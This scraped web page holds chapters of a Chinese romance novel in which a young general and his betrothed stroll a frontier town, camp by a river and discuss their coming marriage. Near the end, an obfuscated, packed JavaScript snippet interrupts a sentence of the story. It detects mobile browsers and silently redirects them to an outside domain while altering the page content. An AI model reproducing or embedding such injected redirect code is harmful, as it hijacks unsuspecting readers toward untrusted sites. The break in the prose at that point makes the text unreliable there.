兄妹俩老实巴交地点点头。 老板娘懂了,手绢儿一扬,笑道:“二位可算是找对地方了,奴家这儿样样齐全!” 越清音问清能帮忙送到越柳营,便数数剩余不多的银两,全部放到老板娘的手心里:“那劳烦掌柜帮我们掌掌眼,挑些好的……” 然而话未说完,老板娘就风情万种地撞了撞她的肩。 她同少女咬耳朵道:“放心,保管让你家夫君一整夜都叫你心肝!” 越清音莫名打了个冷颤。 成衣铺子的不远处,正与手下巡城的少年将军莫名打了个喷嚏。 下头有个络腮胡将士挤上前来:“将军,别是风寒了吧?” 正是前儿在演武台讨饶的士兵刘家二郎。 昨儿越将军连夜差人去捉越清音兄妹俩,结果士兵们无功而返,都说找不着人。 营中将士们私底下都说,是那越氏双孽故意躲了起来,不知去哪儿胡闹了。 刘二也不意外,大咧咧道:“将军你别想费心找人了。” “越姑娘熟知融州城的大街小巷,只要她有心想躲,营里的人就不可能找得到她。” 他打了个哈欠,算是宽慰自家将军:“小姑娘性子贪玩,等她玩尽兴了,自然就会回来,你何必担心忧虑,白白伤了自己身子……” 慕相玄懒得解释。 但他倒有兴致多问一句:“从前她出营玩耍的时候,你们也找不到她?” 刘二自然道:“是啊,融州城那么大,找个人可不容易。” “找她很容易,”慕相玄轻声道,“是你们不用心找。” 刘二不服气,想要辩驳,慕相玄已经领着人继续沿着街市往前巡逻了。 少年一边走,一边说道:“晨起清凉,早集热闹非凡,她喜欢去那边看新入城的驼队,要尝新鲜的奶酒与糖胡饼,要逛逛新支起的小摊子,总爱挑些古怪的小东西。” “晌午日头大了,她在街市逛不了一会儿,就要寻个茶楼或酒家,尤其偏爱于厅堂内有说书唱戏曲的,一壶清茶,两碟小糕,她就能坐着听好久。” “到了傍晚,她玩累了想回营了,可见到落日就爱打盹,于是总会在城西的河堤坐下,乖乖看着鸭子凫水,等到有营中将士路过,分她一匹马再骑回家。” 慕相玄侧目,远远望向街市里的成衣铺子,一眼看见少女站铺子门口东张西望、挑选茶楼的身影。 他轻声重复道:“分明是你们不用心找。” 刘二顺着他的视线发现兄妹俩的人影,吓了一跳,只道见鬼了。 他忙捞着他家将军的肩膀转过身去:“别看了,找到人又舍不得强捆回去,待会儿越将军要怪罪我们纵容包庇了!” 一行将士稍走远了些,直到经过钱庄大门才停住脚步,要取用银钱的人顺道进去取些。 有位年轻士兵收起新取的钱袋子:“哎,你们没家室的不知道,家中有女眷,银子花得就是快。” 他状似抱怨,脸上却是喜眉笑眼:“我夫人总爱乱买东西,衣裙呀首饰呀,每日打扮得跟花儿似的。我这做丈夫的,时不时就要来支取一次银钱,哎哟,苦恼呀……” 几个光棍同伴听了大怒,纷纷叫他闭嘴,不然当场打死。 唯有慕相玄刚取了银两,站在原地若有所思。 他表示理解:“我家女眷也爱乱买东西,昨儿还叫了二十名小倌,要买他们一夜,真是让人苦恼。” 将士们:“……” ……将军你要不长点心呢,这是乱买东西的问题吗? 而刘二不知何时买了坛酒回来,美滋滋道:“你们到底年轻,没经验,该学学刘二哥我。” “家妻买了啥,我偷偷退回出去一点,她不会注意到,我还能换点酒钱……” 话音才出,嘘声一片。 方才取钱的士兵直呼贼头贼脑,非大丈夫所为,不多时两人就吵成一团,身边的将士们劝个不止。 慕相玄最不喜听杂声,索性转头望回成衣铺子的方向。 系着浅色发带的少女刚从女掌柜手里接过找钱,笑逐颜开地领着义兄去茶楼。 她穿了套嫩黄的褙子旋裙,比昨日那身士兵夏衫更衬她百倍,柔软裙摆会随着步伐绽开,在人群中也十分鲜妍惹眼。 这身衣裙是他昨夜匆匆敲开铺子的门买的。 原本还担心她又会说出“予我衣食,是为父母”那样耸人听闻的话语,昨夜他都不敢同她多交待就急忙离开了。 但今日他站在喧闹人群中,回想起方才士兵们的谈话。 慕相玄悄悄地想,原来,丈夫给妻子买衣裙首饰也是天经地义,那他想给她买多少都可以。 少年安静地注视着她逐渐隐没的身影,直到有人 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然而,少年将军只低头看了一眼,身形就猛然僵住,再静两息,耳根子腾地热得要冒烟。 将士们大觉稀奇,纷纷探头来看:“咋了咋了,那是什么?” 慕相玄反手就将那包袱合上了。 他看着众人,灵魂却已出窍,甚至疑心自己双目昏花,不然怎会看见那种…… 那种似乎不大寻常的…… “没什么。”少年勉强稳住心神,等支使手下们离远了些,才不敢相信地再次打开包袱确认。 他指尖微颤,轻轻捏起最上层的衣物。 小小的一块菱形料子,系带柔弱纤细。 他记得清楚,昨夜去给清音买替换的衣物时,铺子里女掌柜就准备了一件相似的,说是女子贴身穿的小衣。 可他手里这件也有不同,粉白轻盈,纤薄得近乎透明,哪怕隔着布料,他托在下方的手掌纹路也依然清晰可见。 ……这样薄的料子,能遮住身子么? 慕相玄仓惶地垂了垂眼睫。 底下还有件软绵的浅粉衣物,他小心翼翼地碰了下,只觉像条寻常亵裤,可不知为何,腿心那儿没有缝合,敞开了道颇为大方的口子。 若是真的穿上,怕是只要稍微分开双腿,春光就会一览无遗…… 方才那小厮的话语犹在耳际,慕相玄咬咬下唇,局促得脖颈到耳边红成一片。 清音为何要买这样的衣物…… 他提醒自己,想想方才手下说的话,她年纪小又贪玩,就是爱乱买东西的…… 可心神还是越来越乱,哪怕身处喧嚣闹市之中,也克制不住地想起那些逐渐长高身量的深夜里,有过许许多多场羞于启齿的梦境。 这些衣物就像是缥缈梦境破开窗纸,来到了触手可及的现下。 慕相玄将包袱揉合起来,心慌意乱地想,她知道这些衣物是何用途么…… 她知道将这样的衣物穿在身上,她会是什么模样么。 他忍不住想了想,但他想象不出,过往的梦境都是朦胧模糊的,青天白日也驱散不了影影绰绰的梦里白雾。 少年坐在角落,把脸埋到膝间,一个人在闹市里兵荒马乱。 偏生他的手下很不解风情,斗嘴吵闹也就罢了,年轻士兵们还非要过来拉他评理:“刘二好生过分!” “将军你说,自家夫人买的东西,你会想拿去退掉、换来酒钱吗!” ……会想拿去退掉吗? 慕相玄下意识攥住包袱一角。 半晌后,他低头小声道:“不会……” 年轻士兵宛如受了鼓舞,又是一阵闹嚷,刘二不服了,提着酒坛子振声道:“男人有点爱好怎么了!又不是大错!” “家妻彪悍,明知我爱酒,却从不给我买酒喝,我扣扣搜搜地倒腾两口,怎么了……” 慕相玄哪怕半聋也听得见刘二的嚎叫。 他移过视线,追去清音离开的方向,双颊微热地想,幸好他的妻子与他少小无猜。她温柔体贴,他永远都会听她的话…… 那边刘二被逼急了,大吼一声:“等你们以后受不住,就知道了!” 少年嘴角的笑意一顿,搂紧怀里的包袱。 他微恼地想,他才不会受不住! * 落日熔金,城西的河堤撒满夕阳余晖。 河鸭子成群结队,在碧波间凫游,时不时扎下脑袋衔鱼,留个毛绒绒的白屁股在水面上。 碧色的涟漪荡到堤岸,湖边一对少年兄妹的倒影被打乱。 乌维言叼着草,百无聊赖地躺在草岸上:“相玄今日要巡城吧,又没事先约好,你确定我们蹲得到他?” 越清音摆弄着身边的一坛子酒,随口应道:“蹲得到的,他待会儿就会过来。” 乌维言不大相信:“他们巡城的要满城游走,行迹不定。万一去了哪个街巷,绕路回营地了呢……” “这么多年,你连他的行迹都不知道?”越清音莫名其妙地看他一眼。 对着义兄困惑的眼神,越清音仔细擦去酒坛身上的泥沙,耐心说道: “清晨的时候,早集人多货杂,他习惯去那边巡查,他会警示新入城的驼商,不许他们争抢摊位,悬羊卖狗、弄虚作假。” “晌午日头大了,食客渐多,他常去街市那边看着,到茶楼酒馆四处走走,领着手下的士兵,充分威慑贼盗。” “到了傍晚,城西关口即将关闭,百姓商人通行如织,他时常到这边来,防着蛮横之人插队斗嘴、打架闹事……” 越清音远远眺了眼西侧的城关。 “等巡城差不多结束时,他就会经过这处河堤,会找到我。” 河堤的清风迎面拂来,她额间的碎发往后吹起,露出光洁白皙的额头。 少女惬意地眯眯杏眸,手臂摆后撑住身子:“他总会说好巧,然后陪我看一会儿鸭子。” “只要我说一句累了,他就会把马让给我,牵着我的马缰,陪我回家……” 浮光跃金,河面上碎影流连,身后有踢踏的马蹄声,还有下马的脚步声靠近,河畔野鸭子被惊得匆匆藏进芦苇丛中。 越清音似有所感,抬起脑袋往后看。 少年正好弯下腰,朝她露出清爽俊朗的笑。 “好巧。” 8.可是 “相玄!” 越清音一下就从河堤上跳了起来,双眼亮晶晶的:“好巧。” 斜阳晚照正是灿烂,慕相玄抬高手,故意拎起几个香气四溢的荷叶包,笑着对她晃了晃:“猜猜这是什么?” “好香!” 堤岸上的少女欢呼一声,跑到他提起的荷叶包旁,绕着连转了好几圈:“让我闻闻……” “是不是有炙羊肉,糖胡饼,牛肉包子!” 她停在一个纸袋子前,探着鼻尖认真地闻:“还有这一样,是,是……” “糖栗子,”慕相玄眼里漾出笑意,“我在你最爱吃的那家摊子上买的。” 他将那纸袋挑出来递给她:“幸好在这儿遇见你了,趁热吃。” 越清音欢欢喜喜地接过,打开袋子先埋头数一遍有几颗栗子。 一旁的乌维言目瞪口呆:“不是,你俩还真能遇上啊……” 慕相玄没搭理他,转身想去陪越清音数栗子,却发现她今日梳了个新鲜发式,似乎是从前未曾见过的。 少女将棕栗长发梳拢,在耳后挽成两个柔顺的垂髻,余下的青丝自然垂落肩头,被她常用的浅色发带系起,瞧着像只乖巧的垂耳兔子。 她肩下有段发带系得松散,在河堤的徐风里轻飘飘地荡,有一下没一下地招惹着他左侧的衣袖。 慕相玄稍挪半步,那段风中的发带便彻底贴蹭过来,与他的衣袖如胶似漆地缠在一处。 他看了会儿,又抬眼看她的发髻。 越清音察觉到他的目光,从栗子堆里抬起脑袋:“怎么了?” 少年老实称赞了句:“好看。” “是么?” 越清音杏眼弯了弯,又晃晃脑后的发束,像晃两只柔软的垂耳朵,“其实我手生,梳得不好,你大概没见过别人梳的,会更精神更好看些……” 别人么? 慕相玄缓缓地想,他有没有见过别人梳这发式,答案竟一下子有些模糊…… 大抵是因为,他对于女孩儿的所有了解,几乎都是从她身上得来的。 从他们一起长大的每个日夜里得来的。 他每日都看着她娇娇俏俏的模样,看着她开心就朝他仰脸笑、闯祸就跟他卖乖耍赖的活泼性子。 还有她爱穿的那些色彩鲜妍的衣衫裙子,她时常捣鼓的新发式,他看着她将棕栗的发丝挽成髻、编成辫,而她母亲为她绣的浅色发带常年系在发间,迎风时就像振翅翩跹的蝶。 他看着看着,心底就有了个清音的影子。 任何和女孩儿有关的问题,他都从那个影子上面找答案。 所以于他而言,一个发式,她梳成什么样,那个发式就该是什么样的。 他的心里面,没有别人可以参考比较了。 越清音没听见他回话,也不在意,同他玩笑道:“莫不是什么敷衍的恭维话,随口说来哄我开心的?” “不然,为何每次我换新发式,你都要说好看?” 慕相玄怔然:“可你就是很好看啊……” 他对她的问题有种近乎迷茫的不解,偏偏就是这样的迷茫不解,愈发显得言是心声。 越清音被哄得小小得意了下,甜滋滋地对他翘起嘴角。 “够了!” 一旁的乌维言左看看、右瞧瞧,终于受够了被无视。 他飞身起来挤进二人之间,对慕相玄喊道:“够了!别再看我妹了,我还有账要与你算!” 越清音向来不插手少年之间的恩怨,闻言知情识趣地撤到一边吃栗子。 乌维言痛心疾首,质问慕相玄:“咱仨都是喝一个井里的水长大的,本该亲如手足,你为何如此偏心!” 慕相玄瞥了眼专心吃栗子的姑娘,才懒洋洋问道:“我怎么就偏心了?” 乌维言有理有据地控诉:“昨儿你丢我进房,连被子都懒得给我盖,却有功夫去给她买换洗的衣衫!” 慕相玄还是冷静:“她昨日穿的是身军衫,本就不合身……” 乌维言怒了:“那你都去铺子里了,为何不给我也买一套换洗的?昨夜吃酒,我这套身上全是酒气!” 慕相玄莫名其妙:“我哪知道你身上有没有酒气,我又不会闻你……” 听此,乌维言一下子转不过弯,不自觉问道:“什么意思,难不成你会闻她吗?” 慕相玄:“……” 少年静了两息。 然后他若无其事地转头去招呼越清音:“累了么?” 越清音嚼着栗子点点头。 慕相玄给乌维言丢了条马鞭,又去拉清音:“走吧,带你们去个地方。” 乌维言:“?” 乌维言追在后面:“哎等等!你为何跳过我的问题——” * 融州城关外,绿野与青河的交接处有一片浅滩。 星星点点的篝火堆沿着河岸分布,干燥的柴火烧得噼啪作响,点亮方寸之间的浅滩,照映出途人的身影,或是边关游走的驼商,或是赶路的百姓,各自三两作伴,准备夜间的饮食与露宿。 三匹鬃毛乌亮的高马正在低头啃食夜草,在它们的不远处,有簇崭新火堆刚刚燃起。 慕相玄捡了枝稍长的干柴拨弄火堆,一边说道: “郭修谨的婚宴设在於康草场,眼下我们在融州也没什么要紧事,不如早些过去帮忙。” 况且,那边设了新的祭坛,祈祷大昭边关领土风调雨顺,寓意吉祥。 如无意外,赐婚圣旨也会在那儿宣读,提前两日过去总是好的…… 想到这,他往清音那头看了眼,见她目不转睛地盯着扑闪的柴火堆,又忍不住轻叹气。 据闻在他还没入军营之前,她曾在战火间走散过,被找回时生了一场重病,差点人都没了。幸亏听了屠军师的掐算,多结善缘,捡了乌维言做便宜兄长,才玄而又玄地醒了过来。 虽说人醒了,但也忘了不少事,白白落下一个怕黑的毛病。 慕相玄觉得她忘了也好,他都不敢去想她经历过什么,那样天真无忧的性子才会害怕黑夜。 他默默将柴火堆的火光拨到最亮,见她明显松了一口气,才摸摸她的发顶。 “你先坐会儿,我去河边打些水回来。” 越清音烤着暖融融的火光,爽快答应了。 慕相玄又同乌维言递了个眼色:“你在这守着。” “知道了,快去快回。” 乌维言大咧咧地朝他摆摆手,而后蹲到越清音的身边陪她解荷叶包裹。 越清音闻了一路的炙羊肉香味,早就馋得口角要流涎,三两下将菅绳解开,立马就要伸手去够炙肉片。 啪地一声,下一刻就被打了手。 “在外玩了一日,不能用手抓。” 乌维言捡来几根细长的树枝,要削去树皮作筷子使,叫她把刀子递给他。 越清音捂着手很委屈:“人在快饿死的时候,是顾不上用筷子的。”话说着,还是解了自己腰间的匕首递过去。 “说得好像你快饿死了一样……”乌维言随口应着话,接过匕首。 越清音眼巴巴地等着他削树皮,谁知胡人少年一低头,对上那把玄黑的冷匕,面色瞬间凝滞。 “……你就给我这把匕首?” 越清音诚恳道:“我只有这把。” 乌维言彷若接了个烫手山芋,左手拿也不是,右手拿也不是,最后索性将匕首抛回给她。 他咬牙切齿道:“你知道相玄用这匕首割过多少人头吗!” “用凶器削筷子,你还吃得下饭?” “为什么吃不下……” 越清音满脸都是无法理解:“他都用烈酒煮沸洗过了,再说我真的饿了……” 兄妹俩大眼瞪小眼地对峙着,最后妹妹不情不愿地往后退一步:“那你说怎么办……” 乌维言往旁边的火堆看去,估摸着十来步的距离,有几位面相颇和善的百姓,恰好也在分切熟肉,似乎还有多余的小刀。 他认认真真嘱咐道:“我去隔壁借把刀子,你别乱跑,有人来就喊我,知道么?” 炙羊肉在前,越清音自然无有不应。 待乌维言起身,她拿回自己的匕首,放在膝上端详,心中困惑,割过人头怎么了?那是相玄动手割的,有什么好膈应的…… 她在心底为匕首正名,耳边却忽然听见几道凌乱的步伐声。 似有阴湿的毒蛇爬上脊背,越清音不自觉后颈微紧,下意识抬头看。 是几位提着酒壶的驼商男子,喝得满脸通红,衣带帽子扯得紊乱,不知怎的从她的火堆前经过。 许是野外少有落单的少女,那群人见了她,意外地哟呵几声,歪歪扭扭地停住脚步,肆无忌惮地用眼神扫视她,像看一碟助酒兴的菜。 越清音攥了下匕首。 然而未等她转头喊二哥,面前几人忽然眼神游离了下。 他们仿佛发现了什么棘手的存在,不再往这边觊觎,只互相嘀咕着转过头,推推搡搡灌着酒走开了。 越清音似有所感地回过头。 打水回来的少年就站在她的身后,一手有意地搭在剑鞘上。 他额发阴影下的双眸冷沉,仍盯着那几人离开的方向,腰侧的长剑银鞘被篝火映得寒芒森森。 “相玄?” 她如常唤了声。 “……嗯。” 慕相玄敛下眼底的情绪,松开长剑,跨步到她身边坐下,轻声问:“吓到了?” 越清音 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好似凌乱的湖面被风吹过抚平,慕相玄的注意力一下子拉了回来。 “怎么了?”他回头问道。 篝火前的少女随手捡了个午间在街市买的木盒,似乎很苦恼:“我好像打不开了……” “我试试。” 慕相玄说着,随手往前一抄,接住乌维言泄恨扔来的果子,满不在乎地扔到一边。 以此宣告休战,他掀袍坐到清音的身侧。 少女递来个竹丝编造的盒器,打磨得细润光滑,触手温润,是件颇为巧心精工的物什。 他拿到手上缓缓摸索了会儿,寻到暗扣,食指轻一拨动,木盒应声而开。 “这样就行了。” 他将竹丝盒的小机关指给清音看,想顺手交还给她,然而视线掠下,看清盒内的绣图,又有些发愣:“这是……” 越清音探来脑袋,应道:“哦,赐婚圣旨不是快到了么?我提前准备了些喜庆的物件……” 盒内的彩线绣图被篝火照亮,麒麟驮着童子,口中衔住莲花,是幅瑞兽送子图。 乘着晚风,她舒舒服服地靠到他肩头,对他笑了起来。 “这是铺子里的掌柜推荐的……连生贵子,你说好不好?” 慕相玄指尖微紧,张了张口,又用力抿住唇线。 他记得上回在望月坊的隔间,她也有提过子嗣的话题,只是他当时羞赧,不知该如何同她细细说清,没承想让她懵懂到了今日。 少年稍微低下眼帘。 民间避凶趋吉,生育背后的苦难受人避讳,不会广而告之,可他却十分清楚。 他在幼时见过母妃怀胎的辛苦,见过她好不容易熬到分娩,却苦苦惨叫了两天两夜后撒手人寰,王府内外忌讳,只说“凤凰不下”,连难产二字都不曾对外诉说。 慕相玄有些懊恼,先前他自持于年长她一岁,多少知道些男女之事,就贸然遣走了她的婚仪嬷嬷,如今看来真是做了件糊涂事。许多事情无人同她诉说解释,她哪能明白呢。 “清音……” 他将那竹丝盒合上,和声解释道:“怪我没早些同你说清,其实,此事真的不必着急。” “血脉之事,我并不看重,况且你身子骨又弱,我光是想想都觉得十分担心害怕……” 越清音迷茫地看着他:在说什么? 她看清他欲言又止,仿佛满腔话语,想说却又不知该怎么说。 她隐约有所察觉,迁怒地朝乌维言瞪去一眼:是不是你又把他气到发病了! 稍远处的乌维言削筷子的刀忽然哆嗦了下,迷惘不解地抬头四顾。 “总而言之——” 慕相玄索性直接扔了那竹丝盒子,闷声下了定论: “此事迟些再议,不议最好。” 越清音看见那送子的盒子咕噜咕噜滚了两下,险些要滚进火堆里,抗拒意味明显,这下她总算明白他的意思了。 只是她虽一知半解,却也知晓延续血脉是夫妻之间的私事,若她爹非要与后娘生子,她做女儿的又能怎么阻拦? 少女低头揪着他的袖口,只觉他给她提了好大一个难题,委屈地扯松他的护腕又系上。 “这事又不是我说了算的,难道你可以控制么……” 慕相玄瞥见她细白的指尖,蓦地想起那几件暧昧缱绻的衣物,还有那些经年萦绕不散的梦中旖旎,一时之间竟觉“控制”二字难于登天。 越清音没听见他回答,微微抬起些视线。 少年轻轻低头抵着她的额鬓:“我可以。” 9.痴病 三人在军中长大,随军扎过营。 虽然如今战事太平、商旅安顺,但出了城关仍下意识按扎营的方向坐位,或背山面水,或迎风朝向日出,三双眼睛将四面八方的动静都看得清楚。 慕相玄倒水出来,想要洗些果子。 越清音裹着慕相玄的外袍,懒洋洋地烤火。 自那日躲进隔间之后,她隐约发现了新的趣味,见慕相玄坐在身侧,便试探着悄悄去挽他的胳膊,葱白的指尖偷摸着搭上少年紧实的手臂。 她的动作轻巧小心,眼神却明目张胆,好奇又直勾勾地盯着他的反应,盯得慕相玄眼睫毛颤个不停,洗果子的手接连打滑了好几次。 但到底没有挣开她的手。 少女满意于他的顺从,终于大发慈悲放过他,清灵灵的杏眼转去了别处。 一旁的乌维言埋头与借来的小刀斗智斗勇,好不容易削出两根木筷,得意洋洋地向他的义妹展示:“瞧,这不就行了!” 他大方地将炙羊肉一并推上:“你饿了,你先吃。” 然而,方才叫了半天肚子饿的越清音却不作动弹,仍一动不动地维持着同样的姿势,望向同一个方向。 两名少年意识到什么,都停下手里的动作,不约而同地循着她的视线望去。 只见青河的河畔停了几匹新的大马,显然有一伙儿新客到来。 为首的是名红衣少年,约莫是弱冠的年岁,身量极高,怕不是有近九尺,似乎翻身下马就只是弯个腿的功夫。 见身边少女一双杏眸乌溜溜地往人家身上转,慕相玄愣了下。 ……在半刻钟之前,她分明还这样看着他! 他顿了顿,低头接过筷子,递到她面前,轻声提醒道:“不是饿了么,可以吃了。” “好。”越清音随口答应。 应完,她却不拿筷子,多看了几眼后,还兴奋地晃晃慕相玄的胳膊。 “相玄,你看他!” 她示意他望那红衣的新客。 慕相玄:“……” 他感觉自己就是那碟被冷落的炙羊肉,被盛在绿油油的荷叶包里,怀里还揣着一筒子蘸醋。 “……我不想看。” 少年垂着眼,闷闷地问:“怎么了,你觉得他好看?” “若你喜欢红衣,我也可以买一身红的……” “不是不是!” 越清音迫不及待打断,悄声说:“你看见了么?都差不多年纪,他竟然比你还高些!” 慕相玄闻言,从方才的思绪中匆匆抽离。 他迷茫了瞬,一时竟领悟不到她话语里的要点。 反而是乌维言一听,立即就笑了。 “你俩还真是,各人有各人的痴病。” 他隔着空气对越清音的脑袋指指点点:“天外有天,人外有人,难不成相玄真能事事都占个‘最’字?” 乌维言啧啧两声,回想起,他与越清音在六七岁时就正经结了金兰。 彼时,他这义妹虽性子顽劣些,但也没有什么糊涂执念,每日只有用不完的机灵劲儿,没心没肺地瞎玩。 直到十岁那年,慕相玄与他姑母来了融州,入了越柳营。 那时候,慕相玄还不会读唇语,偏偏耳疾更加严重,十句话有八句都听不清,仅剩两句听清了,又听不懂融州的口音。 许是自幼所受的教养拘束,每当别人同他说话,他总会努力去听,会侧着耳朵去分辨,每一句都尝试去理解。 可经常花上大半个时辰,也只能同别人说明白寥寥几句话语。 渐渐的,新鲜劲过去,营中愿意和他说话的人就少了。 那是个闲不住的年纪,同龄的小伙伴每天成群结伴地追逐嬉闹,欢声笑语能摇得满院的树梢枝叶晃动,簌簌纷纷地飘落。 慕相玄却默默坐在角落里,学会了一个人发呆。 就是这个时候,越清音与乌维言从草场回到了越柳营。 越家的姑娘见慕相玄的第一眼,就傻乎乎地迈不动步子了。 她问别人:“他是谁?” 有人笑嘻嘻地说:“是个不会说话的小聋子。” 越清音一愣,不禁感慨:“天啊,原来聋子是这样好看的,能不能让我替他聋了啊……” 包括乌维言在内,谁也没想到,最能闹腾的小姑娘,偏偏看中了最安静的人。 她分明有那么多玩伴,可在她眼里,只有那小聋子才是最好的,而且还是天底下第一好。 她每天都甜滋滋地转在他身边,要缠着他一起做所有事情。 哪怕慕相玄起初只有沉默,她也不会气馁,照样同他有说不完的话,还把甜言蜜语一箩筐一箩筐地往他身上倒。 读书,她要慷慨称赞他是最明悟聪慧的。 练字,她要激扬夸奖他是最端正遒劲的。 学习读唇语,她每日都陪着他,但凡他学会看懂一个词,她都能神气活现地吹捧个三天三夜,非要赞扬他是这世上眼神最好的! 啧…… ……这世上眼神最好的,真是什么鬼话都能说。 那段时间,乌维言很是敬佩慕相玄,当聋子真好啊,都不用怕被她叽叽喳喳地烦死。 后来也出乎众人的意料。 越清音没有玩腻,慕相玄也没有烦死。 那两人日渐一日地熟悉起来,甚至还多了些旁若无人的小亲近。 少女的甜蜜称赞声,愈发四季昼夜永不缺席。 乃至于后来年岁长了,慕相玄正式开始习武。 少年初出茅庐,每日过招,都要在营中教习的手底下领回一身的伤,青青紫紫的瞧着骇人。 清音看了总是难过,抽抽噎噎地拉他去军医处上药,乌维言就在军医处里,看多了难免要玩笑。 “这回可算知道了吧,至少他的武功不是最厉害的?” 越清音眼泪珠子一颗颗地掉,仍倔强地给他找补:“在同辈之中,他就是最厉害的!” 城关外的火堆焰暖,照亮三人面前的方寸之地。 乌维言瞟了眼自己的义妹。 少女混着鄯善血脉的瞳眸色泽很浅,这双浅眸只要沾泪,就很容易变得通红通红的,泛肿着难以睁开眼。 而他打小看着慕相玄习武,少年从不懈怠练功,寒冬酷暑也会坚持练枪练剑,不出几年就能在教习的手底下讨到巧处,再也没受过重伤……大概就是怕她不小心把自己哭瞎了吧。 至于今日这场景,乌维言不用想也知道是她的老毛病犯了。 他笑着调侃越清音:“你该不会以为相玄就是同辈之中最高的吧?” “他是身形高挑,但融州城这么大,有数十万的百姓……” 眼见少女扁扁嘴,不大高兴的样子,慕相玄直接将一个果子塞进乌维言的嘴里:“吃你的去吧。” 慕相玄塞完,又回头对她笑道:“屠军师说有些男儿弱冠后才会停止生长,说不定我真的还能再高几寸。” 乌维言翻了个白眼,咬着果子咕哝:“做梦吧,你就知道瞎惯着她。” 两人各自胡扯一通,旁边越清音的注意力却已经走远,又去到那红衣少年的身上。 只见那人挽起了衣袍,脱了长靴,时而在草岸上俯看,时而踩下河畔涉水摸索,不知过了多久,竟从水底摸出一朵黄灿灿的花儿出来。 周边人见了,立时爆发出一阵喝彩欢呼,不少人高声喊着“恭喜恭喜”。 那红衣少年腼腆一笑,妥帖收好花儿,朝四周拱拱手,又继续往青河下游摸去。 “那是什么?”越清音眼巴巴地望着。 乌维言见怪不怪,悠悠道:“金乌羽,蜜炬烬,沙洲河岸黄金花。” “那原是味药材,因着在鄯善有些神话传说,便带上了两情相悦的美名。鄯善国人成亲时,有心的新郎都会来摘几朵,回去送给自己的新娘子。” 越清音记得方才那黄金花儿的漂亮模样,只一瞥就足够惊艳。 她听见“鄯善”二字,双眸一亮:“那以后我成亲的时候,也会有吗?” 慕相玄转头过来,看见她亮晶晶的双眼,忍不住又看了看。 乌维言却打了个冷颤:“你还是别折腾人了……” “郭将军不是快成婚了么,他娘子是鄯善国人,前几日我们陪他出来找这蜜炬烬,大半日下来,一群人只摸到了三朵……” 他摇摇头:“这花儿在野外藏得太深,太考验运气,也不是想找就能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793748|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的。” 越清音微微有些失落:“这样啊……” 她看够了热闹,蔫蔫地要摸筷子找吃的:“罢了罢了,考验新郎的运气太过缥缈,还是收进肚子的更实在……” 然而筷子没摸到,倒是有颗过了水的凉冰冰的果子贴到了嘴边。 她下意识张口咬了口,清甜的果汁霎时浸入口腔,香甜直接沁入脾胃。 越清音听见旁边的少年笑了声。 “怎么就缥缈了?” 她含着清香往边上转过脸,慕相玄正拿着果子,眼尾微弯。 少年问她:“你喜欢那花儿?” 不等她回答,他已经看穿她心里的答案,朝她绽出笑容:“不如还是考验考验你的未来新郎吧?” “既然你喜欢,那就让他为你摘回全融州最好看的蜜炬烬!” 他靠近了些,对她笑道:“清音就当给他一个机会,他也很想讨讨你的欢心。” 越清音撞上他眼里的分明笑意,只觉不像刁难她的新郎,倒像是某种犬类在甩尾巴。 她不自觉揪了揪膝上的裙摆,小声地说道:“可二哥说藏得很深,很难找的……” “是挺难找的,但难不倒他。” 慕相玄对着她微红的脸颊,轻轻扬起嘴角:“他说不定,是这世上眼神最好的新郎呢?” 越清音的指尖彻底勾紧膝上的裙衫,依稀听见身旁的柴火堆轻微爆了声。 好像有火星子溅了出来,轻柔地落到她的心口上,烫得她想要悄然低下脑袋,也说不清是紧张还是什么。 她忍不住伸手摸了摸自己的脸,热得像是在望月坊的那夜。 少女喃喃了声:“我好像醉了……” 慕相玄愉快地笑笑,低头逗弄她:“只怕是你馋了,我都瞧见了,买了十几坛酒。” 她轻哼了声,转过头去表示不愿搭理。 倒是乌维言终于削起三对木筷,神清气爽地插进话来:“那还真不怪她馋!” “还不是因为那道圣旨快到了么。” 他诚诚恳恳地替自家义妹辩解:“清音说,圣上赐婚,天家姻缘,婚礼上新人交杯合卺是最重要的仪式,当然要用融州城最好的酒作配。” 乌维言说着,装模作样地锤锤自己的腿:“为了找融州城里最好的酒,我陪她跑了一下午,大小酒家酒肆都逛了十几家,哎!” 给婚礼合卺用的…… 慕相玄眸光动了动,从那十余坛酒上逐一划过。 “找到了么?”他放柔了嗓音问。 “当然!” 越清音得意地昂昂脑袋,示意他看居中的两坛酒酿。 黄陶古朴的坛身,瓮口用蜂蜡密封着,酒坛子上可见新新刮去泥沙的刀痕,瞧着就是两坛陈酿。 慕相玄从她的目光里看出某些又好奇又想按耐的跃跃欲试,他忍不住笑:“合卺只要一坛就好,另一坛,我开给你尝尝?” 越清音欣然答应,坐直了身子。 慕相玄从她腰侧抽出匕首,仔细挑开酒坛外头的苎麻绳与蜂蜡,果然,才推开盖子,浓醇的酒香就扑鼻而来。 光是闻着,已足以让人食指大动。 他叫乌维言借回只干净酒碗,利落倒出半碗澄净酒饮,然后将那碗递到越清音的嘴边。 越清音垂眸看了眼,似认真闻了闻酒香。 她启唇轻抿了一口酒,就安静地不出声了。 慕相玄瞧着她的反应,奇了:“不好喝?” 他收回手,就着她的碗尝上一口,只觉十年甘洌,老酒锋芒尽化为柔,真真是香留齿牙。 少年索性仰头将碗里的酒水喝尽。 越清音看见他的唇角有酒液划下,滑过他锋利的下颌与滚动突起的喉结,最终没入武官的衣领里。 她眨眨眼,见他喝尽那碗,顺手搁下酒碗。 慕相玄说道:“很好喝,不愧是融州城第一。” 他又问:“这是什么酒?” 越清音低头看看那酒碗,又抬头看看他。 共饮过的酒碗立在二人之间,碗沿痕迹湿润润的,已然难分彼此。 少女弯着杏眼,轻笑了下:“你喜欢?” “是我的女儿红。”